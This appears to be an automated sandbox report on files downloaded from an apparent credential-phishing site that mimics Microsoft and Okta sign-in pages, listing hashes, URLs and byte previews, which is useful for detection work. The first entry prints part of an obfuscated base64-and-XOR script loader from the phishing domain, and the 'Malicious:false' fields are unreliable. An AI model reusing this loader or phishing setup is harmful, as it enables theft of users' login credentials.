                                                                                            SHA1:7C56664903565E10FC086931767AE138E00FB4C5
                                                                                            SHA-256:0A49ADAEBA4B093CCC604B481CBD37910A67A12BD8129AB721A9DB7EA557651F
                                                                                            SHA-512:B83524B13DFE3C4D38AE850ADF75B300DA02E07715B9465F5E22C3628802E1A066B9387CE4FE2F65A03A13F387AC4CEB0C1B562E58C498E6F91735A6AA14FC0F
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/7nMfbs/
                                                                                            Preview:<script>..function tANRWqSBvx(WLujpcMsll, PIEUMkhhcy) {..let FIadWQOyac = '';..WLujpcMsll = atob(WLujpcMsll);..let DinYiTlESX = PIEUMkhhcy.length;..for (let i = 0; i < WLujpcMsll.length; i++) {.. FIadWQOyac += String.fromCharCode(WLujpcMsll.charCodeAt(i) ^ PIEUMkhhcy.charCodeAt(i % DinYiTlESX));..}..return FIadWQOyac;..}..var xfrSeHtzXK = tANRWqSBvx(`ZBAVGw8dA0xBHjteVAESGQcfCEN3ABkNA0MdHUcJKhpYCgkAWAZDGT0RD0RVQ0FCAkI1ChhHDB5VUg5DKwAEABYZSWE4UCsABAAWGVcfQA9lQR4dEh0EVh1DOwcYAxVDFABdGTwFGggUCFkPXQF3AhwIHkIbBVAfdwAEEBYZGEFYH3dXWFhIXFgPQBUoFxlEDB5ZAVsCdgkFS1hRWB9RHjETAldrZ3pmDh87ER8ZElN6ZlwJL0MwHAgOAwVdAnACAgYERVANZTU/KDFcDgkaAFw1ADEACg9YRDZlJjMAGwVUNy8lVQoQFBENVAECNnVVay8bJw4PMBRjDR8lAw0hVAMlehRgKj4NFg8aPkQIIVYQCiEFHw5cPi4BJSteCzQuRzUAOQYzVCtHDgElLQcuJwoOHCpcNg9WRiULAQI1ABRpOTE/HCY0JnEIACkBIA8GByV6HxYgHygBJDQtVSUbIhENVAECNnVVay8bERA0RSoCDQ9aAyAiXRAlXyoxAUU/ViIaJkE1D1YEIAweOS9cXBYgGzsQNEQ6RjYPVkYlCyscNnc6ajkhXFY5MABICB81AzM+JBglXxg0BiE7EAlFWFsgGyEbDTFYHQh1AC4BHygJNy82Xg42MgYgLh45L1stPyo1
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 119648
                                                                                            Category:downloaded
                                                                                            Size (bytes):40454
                                                                                            Entropy (8bit):7.992737010031678
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:1D65BDDAE4EAEEFC77CB9CFECC565B5D
                                                                                            SHA1:A7D87150DA1DF6AE6DB87D98760DB7D753DBF6B9
                                                                                            SHA-256:B98D5BA052230DB0ABC1B0E7B09D814114F6B7C316836BEB88E7B49057DAFEC0
                                                                                            SHA-512:F2CF9D120D7E18AE3FD77CD85176401A3EB7DB4AF10E16D58C21D86F738FC74525A21E3A319197435E43E50E61DFA8CB2F7207962105360E7BE5652A28165944
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
                                                                                            Preview:............{{..7..y...D4e.sH.v.w......m.r.....&..b.`.P."r...~k..\(...=n#.2..5.N..N~.v'....g..G......N.~q.i.KWq.d.I..N..Z.'.,-........>.e...&Y..'ON......K|.KQ.........^..WI.QT.oe.>..V........w.,/.Y.6..U.......Lo..U..C..{U......T....,.==.\..KrY..'wI..2wIyMw.K/.........B..{45r..r..Lw..3....I!l..lL.m....|!..k...J...Y.......Q.I.Wt...........-....Y..mI...vs.S.TP.....]P..;j3..."..Q.]P?.+qK7.q..]J}....qt[..D.j\."....&j..3.......72.fQ..l%_..A...$.m6..>.QD@... ^F.v..2z@uao,.|....@../....05.....4x...".I..(.._..e..R..HT.{.2O.....lT.we. _.P.'Iz..|..y...yM..j.P...~...~6*j.D.Li.e..z.tu~.lV~...qN...fg...V.7.;...<..........}...yf...`>.....g.y.*<q..7.i....h..\%%.q.z.>*.......^...M..u.n..1...z7t.......y..S..Bc.).....X.~.|F.....B0..E....d.B_.Z.....[.Z./..B8.e..-U....P..]N....k.%p...l<..\......A`W^...m.J5c...._I.j.t.......Q...1.*.B...>^...+d.p.o.bi.D..O...~... @..m*.4.z..uLd..Bc).:.x?..`..Ey....?.2...".....2}.?.FW.|d.~9...~.C.V..y.'..M..........`...E.77>..~?=+gs..t
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 11970
                                                                                            Category:downloaded
                                                                                            Size (bytes):4880
                                                                                            Entropy (8bit):7.966397036823352
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:03C76051E45F8BAFD592731BA31E82BB
                                                                                            SHA1:58F5464CCAB2D8096ABCA4E4324DE38B7C4B829E
                                                                                            SHA-256:F8D8EEB949623360942057B5ABDB018AC7AEDE91092961BA52A417F4C64700A7
                                                                                            SHA-512:253A9F9D5F59AEC12DF2B69AB71414F6EA76EBD5464C66DD107347E20E303610BC371764EEFCBEC3FA031CC03A30C556486AD9DD833A2B6FAAA3714BDC2DDA95
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js
                                                                                            Preview:...........Z{s..._..Fs.2.(9..RX..;[.m..LoWR2..JL)R....K.}...ERV...lfb.yp....'...........;..~:.8a.....=.:{}..pZ..E..(N...u....R.I...L.2.*..%..8LX$.%S..V2.$.*gI.+l..Iv....3.....s}v.....q...lu..B.4S.T.0.ih.:i.X..d7.x.`..S..Y...S...!y.......`.P,.Z.<|vI+-.\.cN..r .9..`..._..g....'K.;...........e...'N..|[........Y1U~..\..b....%....w&nWX.'wl..X^....s).R.....z}.....h.<&r..V"!.j.7q.|.j.'.S..O.O9s...^vz/:.#.&.J..~.;......;.y..@z.;.u.yy...)..?......'..l..i.........>.........s......[h...].^^.....v....NO|...._...._.._......[..)is:}{..5..{.m......n%...{......7....hw.{^@.s%c....,r.{/.*d.....x[..f..D..s.....1_..G.[.....A...E>.W.u"|.Q.A.n.....+l.>...b..S..Tt....z.,..Gb20'q",..d...>....vx..@.?]..u6............9...y.n.6..k\.U..#..)...R/.b...`...<P.M~.......K.l1...Vm.xX..A............Oa...cq.......[1....@O...Z..d....X..-Gr..UI...,KD....r.v.Yii..s..Z`vl0.F...*..Q....Gf.;.2.....\...X*#..r...*..Q.=L...D.s..d...W.@..#....I@....zmO..fA.g.v.&.......M....,N....
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
                                                                                            Category:downloaded
                                                                                            Size (bytes):93276
                                                                                            Entropy (8bit):7.997636438159837
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:BCD7983EA5AA57C55F6758B4977983CB
                                                                                            SHA1:EF3A009E205229E07FB0EC8569E669B11C378EF1
                                                                                            SHA-256:6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
                                                                                            SHA-512:E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/GDSherpa-vf2.woff2
                                                                                            Preview:wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (26765), with no line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):26765
                                                                                            Entropy (8bit):5.114987586674101
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:1A862A89D5633FAC83D763886726740D
                                                                                            SHA1:E5CE3AA454C992A13FD406A9647D7AFBF831051F
                                                                                            SHA-256:5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
                                                                                            SHA-512:3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/564uvmiPCGur0GOdabNtQkW6716
                                                                                            Preview:#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 270
                                                                                            Category:dropped
                                                                                            Size (bytes):190
                                                                                            Entropy (8bit):6.864386660871438
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:AE9FBF7DA7492B12D4A3E8E016661379
                                                                                            SHA1:4348F5D88E575FFA9CA6DF4326DB86CBFE437252
                                                                                            SHA-256:3E1AA58732ED06C27F36460506AE841719F7D873AB6215F6A29ACE2144EFED32
                                                                                            SHA-512:D1D28CC62F8E7E91C274719013D5AE695D1E3E45F7BEF1D4CFDECEC936C6C961427B2E40C317E381158D9F063DDE96310641352A481DEBC8C9CB06E4316A6647
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:..........u....0.._e.W.u#b0...7..-A .a<...7.&...O..tl}.C0.....1F.K>.P.(..X..r......m..m....d.J..&O.m..,.-6.g{..[......`A4zj...k.OEUHUH.K..E.ib..e...#/.."...$...1.3..'.....7.7"......
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 9285
                                                                                            Category:downloaded
                                                                                            Size (bytes):3921
                                                                                            Entropy (8bit):7.948633187405583
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:BA9DA2AE129596B81DE1FAFFB02CD0F7
                                                                                            SHA1:8208ED791107C4D13D2DB619560EAC4707B03074
                                                                                            SHA-256:23DC170CF8AE0615D3E4A6F406DAE6A0FC002BB3CA385C0C2957BFE7000F147B
                                                                                            SHA-512:068268534557DE84E01F01EE2E9D025F4651183AA7A46D67286FD2E2482FEC84C618F1559CEE8256F9FC1F5CE1F8EB6F5808A2F67E49CBAB1C05758A80A5FA19
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
                                                                                            Preview:...........Zks.6..>..F.d2.9.f.....+;..+...V.*.EB......m]K.}O.$E..$..26.G..8}.....Q.(.z..#.E^h.>...Bj..Z.*R.r..GJ..eo.2..4UY..X....U-^..{N..3..P;:x[w...._y..[...'.....r]D..~.nr...y=..#[-.BN............~4.uV+;.m.:..\siUi...,.KW.......a&h....)...^.N....v.3.@..a.bT.....-!\.......y.WY...J?G.i.V1.T..;;n'...U..Z ..t2...5.....E2..7PoG..s.."....z...M;Ap.z.......8..}..:|.f8.......I2G....J..Q.....OS.T!c.s..*......u.....0....;.k.$............s..V..K....xa..H......h....Z.yE.s..oN.x @.gnex.}E..1;7 .A.q.f]..W.!..........7,K&2.`].Y.'..j..X.A..n.I....ZxF.W.......~6O...-..[?..~..y.M...;..=.B.^....h.k.=<...0.Z........4.......K... .1K.@.<...nY.^s..p.......J..p0..>..}5.:l..?.Y.N.Z.Bu[....GTz...`.#..d...3!...4....wzp. ..Iws...W..E.o....5{..3...I|!.]..E. o.'M..`.. ...U.(.X# .r..:..;.D....JV.Jx..4*..j....5}.B.VI....)1x5..dN...(...q.y..cF..*......$......"s$.j...M`.Bu..A2..W.....\...=+...l..6..c.E0q3....7....]....&v..]...^.....u.z.cp..4\.L,.-..(..
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
                                                                                            Category:downloaded
                                                                                            Size (bytes):28584
                                                                                            Entropy (8bit):7.992563951996154
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:17081510F3A6F2F619EC8C6F244523C7
                                                                                            SHA1:87F34B2A1532C50F2A424C345D03FE028DB35635
                                                                                            SHA-256:2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
                                                                                            SHA-512:E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/GDSherpa-regular.woff2
                                                                                            Preview:wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww...*.eU..S.........0..S.s..,....\.e..F.&....oU*R.}Q.C..2.TD....5..#..h.H.2.|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d*.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#.*..#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......*LCE..Nf~.N.eJ.iXnX*C.&....t.U..Nr.@..lZ.... .X..
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2477
                                                                                            Category:downloaded
                                                                                            Size (bytes):1009
                                                                                            Entropy (8bit):7.787888874744244
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:8984F3389334F3D6F548FC2B37F29D3A
                                                                                            SHA1:201A8A7FA8C83A4DDC64EAEC3CC2C31874518FFE
                                                                                            SHA-256:8B5CE863FAAAF3E3690E37ADECB9FF5BE8C16994C9EAA737A952D6C696804F32
                                                                                            SHA-512:04B54B2E77D36044F8F3D54AAC71D526731AEA9A80A8789D38A3D282CA52979380F9EFFB53EC8F91A1B941D5B3B2D190CEA7524895A0C568A71E7056BC134F7F
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/shared/1.0/content/images/check_small_48540c930333871c385fcba2c659ccdb.svg
                                                                                            Preview:..........]....6.........!)Q..L..u.....vg..n..2y..2E.=.e....?|..<^..o....r{zy..../O....^N...y...^^_/..............v....|~<......g...n|...o...}.-_..O.J-..9.V{."$.\..r.X...#."...\).X_S.\.5'..E.:..[........SM....H.]%.T..a[.....Q.. ..P..5..-..4.D.MT`....c+:.{..VUA...k.......*..5>.|.(y.a.....*..w.R......uV....,EL....qE..P`..E).9.b.-.2.@.5n..z.<V.L s.c.[9.u..Lf*..L...$x...C........l....^.......z....!....,..h...J(.]....e...2.:......L.T.h..X...]h..w.j..e..F....F.J.6/f..9sg..P2.9.:c5*..W.|.2..G7 .K0|.a.}.s...".$..M4.s..E....m0.l].....&.......Z..w.&_..........$....v.XY{3C....6V|...Vv.6...*.+...F..|.SJ..}...+...`....G...5@..q.@b.q]...:{.Q.c....8..;.....+.HK.....T .q..U..{.o...w.....j.f..|.S...wI....C..m.'R.1.S..s...X>.Y.m..)i...J....N".EVqK..v.m..X{..Q...e...%d...U.p.u.....G.0.N..hXg...?1.,...@....[....|.6".J.fD..H...T6.L..$....N_.c[....Wv...K...iy....k.>t...8m.....d.T `.v.b.]=.p...nwi.........M./.o.Y.. .....n..Mk{a.,0 .}1.3...2..........W/....e?Sz.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (51734)
                                                                                            Category:downloaded
                                                                                            Size (bytes):163071
                                                                                            Entropy (8bit):5.01035633616358
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:1497876DB478BE25BD5EEF61AD3FC9EB
                                                                                            SHA1:E269293066EFD413F78162EA31A1D68738E19656
                                                                                            SHA-256:81F7127214A73A98C3F9F56D005572F1799C320E3B127C6957AF2103A3DC5984
                                                                                            SHA-512:3188CDD59ADF5D8A4D99D8B4EF8A5211676DECE6F284783B799B1E6838C0CDDCAD861569B0DF123613EFE75E3A74DFB0CA498D24FFC81A933694AAA33ACDD5DD
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
                                                                                            Preview:@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:HTML document, ASCII text, with very long lines (473)
                                                                                            Category:downloaded
                                                                                            Size (bytes):1204
                                                                                            Entropy (8bit):5.485532547294329
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:36A0361968131E3F13A5BAB3F9322F11
                                                                                            SHA1:8C6D36670DE1B15BD92633ACB7E3CFFF743FF41D
                                                                                            SHA-256:D851B3F08E293F154F94C4256384DC65C49D88EB3C18089E78D8B9DA83A7E986
                                                                                            SHA-512:05A445349228FF01E285059B011FAE56D43A90DB5F8FF248517B55B9C7AB7E0F43C5053BD80109A4C68D2322C5436E0071FEDB25CEC53284037C62B81D1213E3
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://clever-link-safeguard.lovable.app/
                                                                                            Preview:<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <title>clever-link-safeguard</title>. <meta name="description" content="Lovable Generated Project" />. <meta name="author" content="Lovable" />. <meta property="og:image" content="/og-image.png" />. <script type="module" crossorigin src="/assets/index-B7e2QGH1.js"></script>. <link rel="stylesheet" crossorigin href="/assets/index-WhSeoKW2.css">. </head>.. <body>. <div id="root"></div>. IMPORTANT: DO NOT REMOVE THIS SCRIPT TAG OR THIS VERY COMMENT! -->. <script src="https://cdn.gpteng.co/gptengineer.js" type="module"></script>. <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"rayId":"922cb092dfb71e50","version":"20
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (48316), with no line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):48316
                                                                                            Entropy (8bit):5.6346993394709
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:2CA03AD87885AB983541092B87ADB299
                                                                                            SHA1:1A17F60BF776A8C468A185C1E8E985C41A50DC27
                                                                                            SHA-256:8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
                                                                                            SHA-512:13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
                                                                                            Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text
                                                                                            Category:downloaded
                                                                                            Size (bytes):12355
                                                                                            Entropy (8bit):5.476957351555817
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:A21D585E84C1D745AC0CFCCED46D4A93
                                                                                            SHA1:B4F87497AE3F208DFE34BD48F01F991C863CE4EB
                                                                                            SHA-256:A45AA0E67BD873620EB0106EC2BC3B71080033E1B01D8BF236B43B6B814F010C
                                                                                            SHA-512:4E3B342EB156ADDDEA2F4EA6B3AEE7A1845353FD95366C8192D9ABD0304BA6AB3C45E88D017DBF68EC3DC34756D42DDFA36844733D2EF42B9917EDD49E6DFC42
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap
                                                                                            Preview:/* cyrillic-ext */.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2JL7SUc.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./* cyrillic */.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa0ZL7SUc.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./* greek-ext */.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2ZL7SUc.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./* greek */.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 300;. font-display: swa
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113766
                                                                                            Category:downloaded
                                                                                            Size (bytes):35172
                                                                                            Entropy (8bit):7.993306956066695
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:2BF248B861E9D2702141EFF7312AA6A0
                                                                                            SHA1:5907BEFBD4B8EBE7BACD2216D15AA8512C4A7C94
                                                                                            SHA-256:9A7DCDD9B3ADB0C378A9952BD37A88F82ECB415432E6751F5689AAC7C1F84E4A
                                                                                            SHA-512:2F9DEA9ADB60B5C108656805614DF15A320FFB8EFA13DFD75A5C197D3F62E8B48BD56F28BE17835603325FB27522C8AEB2D2C5024F3B1E25511853F4A91D5B91
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergederror_stringcustomizationhelper_0f9cee44e29a619abbaf.js
                                                                                            Preview:...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.|..t...Ax.7..b..v..v.m-...~v..Z;...r..._........,...A........:....|..t.. [.C..V..fo..S.....~.6=?._{...>.X.v.j$.kw.*,........(........~....P..}..gAvI.V.p....._....Eq.[p...(Q.GA.x....J...x.L....$../.......)..l.......Z..-....m....&.N@@..,*..|}...........H'...dpVC...5f_..L...~.......l-.......w.....4.y0.66....,."....~..L...2..=.4=....z.. ~....+...K2..av.x k.V..v..-^.0... y..G..<&....(*..k...) ...&.0Dv.....u.W.</.y.......*yP...
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Unicode text, UTF-8 text, with very long lines (21720), with CRLF line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):4712061
                                                                                            Entropy (8bit):2.583772531747173
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E34A613844E71AD9EA25A2FAAB768F3F
                                                                                            SHA1:34844596642BED7752C4AED44721CEE52593B344
                                                                                            SHA-256:D767A16A68A568D204E0E4283BDDB8A9702CCF95BF2715D512C4AE39C3D79AB5
                                                                                            SHA-512:8D5342EC77557793F73701400220B10421E6B1ED941876554D27F27A0573644F26C66FA4AB7019E666F6471688E2F7857394CC127197EF109FC076BC5534342C
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/34cbiWT3HYu22H4fLklgEVykKFK6peQ67110
